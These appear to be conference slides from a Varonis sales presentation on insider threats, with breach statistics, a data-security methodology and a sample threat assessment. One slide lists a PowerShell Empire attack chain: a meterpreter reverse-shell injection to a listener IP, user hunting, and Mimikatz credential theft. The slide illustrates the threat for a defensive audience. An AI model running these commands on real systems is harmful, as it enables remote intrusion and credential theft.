We protect your most sensitive information from insider threats.

Insiders are the New Malware
Protecting Your Data From Insider Threats
Please allow me to introduce myself....

Brian Kelly
Quinnipiac University
Chief Information Security Officer
203-582-3625
Brian.Kelly@QU.edu

Steve Gold
Varonis
NE District Manager, SLED
646-300-5312
sgold@varonis.com

This presentation leaves copyright of the content to the presenter. Unless otherwise noted in the materials, uploaded content carries the Creative Commons Attribution-NonCommercial-ShareAlike license, which grants usage to the general public with the stipulated criteria.
The Varonis Origin Story
World's Biggest Data Breaches
Selected losses greater than 30,000 records
(updated 5th Jan 2017)

Source: informationisbeautiful.net
What do many breaches have in common?

- The threat was already inside
  - An insider or an attacker that hijacked an insider’s credentials.
  - Examples: Snowden, WikiLeaks
- Unstructured data was leaked or stolen
  - Documents, spreadsheets, emails, images, videos.
  - Examples: Sony, OPM
- Traditional security approaches didn’t work
  - Without user behavior analytics, attacks go undetected.
  - Examples: Target, Anthem
The Impact of Insider Threats

- **3.8** insider attackers per organization per year (on average)
- **45%** of organizations can’t tell if they’ve suffered an insider breach
- **34%** estimate the cost of an insider breach to be **> $1 million**
- **Reputational damage** is immeasurable
- CEOs and CISO are **losing their jobs** due to breaches

*Target CIO, Maricopa County Community College IT Director, Texas State Comptroller, Utah, State Dept of Technology CIO*
It’s easy to get inside
5-year-old boy hacks dad's Xbox account

By Doug Gross, CNN

Updated 2:56 PM ET, Fri April 4, 2014

Source: KGTN

Credentials are easy to compromise
Happy System Administrator Day.

Don't buy us pizza, just stop clicking links in emails.
Phishing Works Really Well

23% of recipients open phishing messages.

11% of recipients click on attachments.

- 2015 Verizon Data Breach Investigations Report
Once you’re in...
Employees make mistakes
Insiders don’t need to be that fancy
Sensitive data is at our fingertips
# The PowerShell Empire RAT

<table>
<thead>
<tr>
<th>Stage</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Inject</td>
<td>Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.0.1.200 -Lport 443 -Force</td>
</tr>
<tr>
<td>Escalate</td>
<td>Invoke-UserHunter -Stealth</td>
</tr>
<tr>
<td>Steal</td>
<td>Invoke-Mimikatz</td>
</tr>
</tbody>
</table>
How do we stop insiders?
Brian Kelly
Chief Information Security Officer
Quinnipiac University
The Challenge of Too Much to Do and Limited Resources

http://dilbert.com/strip/2014-09-26
I’m Sure None of You Have Ever Had Any of These Problems

- WHO has access to our sensitive data?
- WHAT sensitive files do we have?
- WHEN are sensitive files accessed, created, or deleted?
- WHERE does my sensitive data live?
- HOW do we review, monitor, and control access to sensitive data?
- WHY do these users need access to sensitive files?
Benefits

- Continuously find files and shares with high risk data
- Report who has access to sensitive data and where the data lives
- Automate User Entitlement review process and remove unnecessary user access, reduce risk, and fulfill audit requirements
- Help Find anomalous user behavior
- Provide detailed audit trails of user access
- Perform scheduled AD security group reviews for high value groups
How do we stop insiders?
User and Group Information
from Active Directory, LDAP, NIS, SharePoint, etc.

Permissions Information
knowing who can access what data

Access Activity
knowing which users do access what data, when and what they’ve done

Content Information
knowing which files contain sensitive and important information

Metadata
User Behavior Analytics
DETECT
insider threats by analyzing data, account activity, and user behavior.

PREVENT
disaster by locking down sensitive and stale data, reducing broad access, and simplifying permissions.

SUSTAIN
a secure state by automating authorizations, migrations, & disposition.
DETECT

Map directory services, permissions, file systems

Discover sensitive and stale data

Automatically identify administrators, service accounts, and executives

Audit all file system and email activity

Baseline what normal behavior looks like

Detect suspicious behavior
  - Crypto intrusion and other malware infections
  - Privilege escalations
  - Abnormal access to sensitive data

Prioritize where sensitive data is overexposed and at-risk
PREVENT

- Lock down sensitive and stale data
- Fix Active Directory and file system issues
- Eliminate global groups
- Simplify permissions structure
- Identify Data Owners outside of IT
- Prune unnecessary access
- Data Owners perform entitlement reviews
Continuously monitor all user & file system activity

Automatically catch and correct deviations from policy and trusted state

Automate quarantining of sensitive data

Automate archival or disposal of stale data

Automate authorization workflows and entitlement reviews

Automate revocation of access
Free Threat Assessment
Sensitive Data

- Where does my sensitive data live?
- How much of it is over-exposed?
- What kind of sensitive data do I have? (PCI, SOX, PII, etc.)

Over **150 million files** contain sensitive data (150,534,645)

**9,213,456 sensitive** files are open to Global Group Access

<table>
<thead>
<tr>
<th>Distribution of sensitive files</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIFS FS_2</td>
</tr>
<tr>
<td>CIFS FS_3</td>
</tr>
<tr>
<td>CIFS FS_4</td>
</tr>
<tr>
<td>SP FS_1</td>
</tr>
<tr>
<td>EXCH FS_1</td>
</tr>
</tbody>
</table>

*Over 50% of sensitive information resides on one file server: SP FS_1*
Global Access

- Which data is open to everyone?
- Which data is open to everyone and is also sensitive?

Over 66.5 million folders with global group access

Global Group Access

These include groups such as Everyone, Domain Users, and Authenticated Users.

Global access groups will allow anyone within an organization to access data with these access controls.

Data should generally never be accessible to global access groups like Everyone, Domain Users, or Authenticated Users. Data that is open to everyone is most vulnerable and at-risk for loss, theft or misuse.
Permissions Issues

- Which common permissions issues may be putting our data at risk?
  - Unresolved SIDs
  - Unique permissions
  - Protected folders
  - Direct user ACEs
User Activity & Threats

- How are people accessing my data?
- What are people doing with sensitive data?
- Which users are behaving abnormally and how?
- Top threat models triggered

Over 750,000 audit events
950 events on sensitive data

Top Alert Categories Triggered

<table>
<thead>
<tr>
<th>Category</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Intrusion</td>
<td>5</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>9</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>2</td>
</tr>
</tbody>
</table>

Distribution of sensitive files

<table>
<thead>
<tr>
<th>File System</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIFS_FS_2</td>
<td>13%</td>
</tr>
<tr>
<td>CIFS_FS_3</td>
<td>15%</td>
</tr>
</tbody>
</table>

User Activity & Behavior

User Activity is the actions on data performed by users within the organization. This could consist of file and permissions activity, email or SharePoint activity, even activity on changes to users and groups within the organization.

Without analyzing activity data, an organization cannot understand the baseline behavior of users. Varonis monitors and analyzes user and entity behavior, giving you insight into potential suspicious and unusual activity.

We use this analysis to detect and alert on behavioral deviations, highlight risk, and discover insider threats, ransomware, and more.

These types of threats are forefront of mind for most organizations: the capability to detect, mitigate, and prevent them is key to a strong data protection strategy.
Risky Accounts & Groups

- Which accounts may be vulnerable?
- Which security groups can we tighten up or get rid of?
Stale Data

- Which data is stale? (based on actual access activity)
- Which data is stale *and* is also sensitive?

253,168 GB of Stale Data
85,377,723 folders contain stale data

<table>
<thead>
<tr>
<th>Amount of stale data</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIFS_FS_2</td>
<td>25%</td>
</tr>
<tr>
<td>CIFS_FS_3</td>
<td>22%</td>
</tr>
<tr>
<td>CIFS_FS_4</td>
<td>8%</td>
</tr>
<tr>
<td>SP_FS_1</td>
<td>29%</td>
</tr>
<tr>
<td>EXCH_FS_1</td>
<td>16%</td>
</tr>
</tbody>
</table>

Stale data with sensitive information
CIFS_FS_2 14%

Stale Data
Data kept beyond a pre-determined retention period can expose an organization to additional liability and is expensive to maintain.

Stale data – especially sensitive information such as PI – should be identified and archived or defensively deleted, if no longer needed.
Capabilities Assessment

- What am I doing really well?
- What could be improved?
- Where do I have major risk?

<table>
<thead>
<tr>
<th>GRADE</th>
<th>CAPABILITY</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full</td>
<td>Track and report on Active Directory changes (group membership, GPO, etc.)</td>
</tr>
<tr>
<td>Partial</td>
<td>Track and report Access control list changes</td>
</tr>
<tr>
<td>None</td>
<td>Track and report on file usage (creation, modifications, deletions, etc.)</td>
</tr>
<tr>
<td>None</td>
<td>Track and report on email usage (send, receive, send as, etc.)</td>
</tr>
<tr>
<td>None</td>
<td>Detect unusual file and email activity</td>
</tr>
<tr>
<td>Partial</td>
<td>Analyze potential access for file container objects</td>
</tr>
<tr>
<td>Partial</td>
<td>Analyze potential access for email container objects</td>
</tr>
<tr>
<td>None</td>
<td>Analyze user or group potential access across file containers</td>
</tr>
<tr>
<td>None</td>
<td>Analyze user or group potential access across email stores</td>
</tr>
<tr>
<td>Partial</td>
<td>Identify sensitive or regulated content</td>
</tr>
<tr>
<td>Partial</td>
<td>Identify stale, unused content</td>
</tr>
<tr>
<td>None</td>
<td>Delegate access request approval process to data owners</td>
</tr>
</tbody>
</table>
Recommendations

- Step-by-step actions to take to improve your data security
- Implement on your own, with a partner, or with Varonis PS engineers

**STEP ONE:**
- Identify and remediate high risk areas with alerts, threat models, data classification, and DatAdvantage modeling and commit functions.
- Resolve performance issues using the DatAdvantage GUI.
- Build out exhaustive reporting based on ACME requests (full inventory on defined scope).
- Set up a dashboard to follow up remediation effort.

**STEP TWO:**
- Remove ‘Everyone’ group and implement a least privilege model across the Windows share environment.
- Change group based access model on base folders/shares to one read and one modify group.
- Identify and tag responsible business units and data owners for sets of data across ACME.

**STEP THREE:**
- Set up alerts on deviation of mediated resources.
- Automate data retention and migration with the use of the rules, scope and tiered storage in Data Transport Engine.
- Automate the file share access provisioning process and perform regular audit and recertification of permissions on data sets with DataPrivilege.
Thank You